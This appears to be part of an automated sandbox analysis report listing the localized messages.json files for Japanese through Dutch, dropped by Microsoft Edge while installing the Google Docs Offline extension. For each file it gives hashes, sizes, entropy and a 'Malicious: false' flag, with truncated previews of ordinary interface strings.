Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
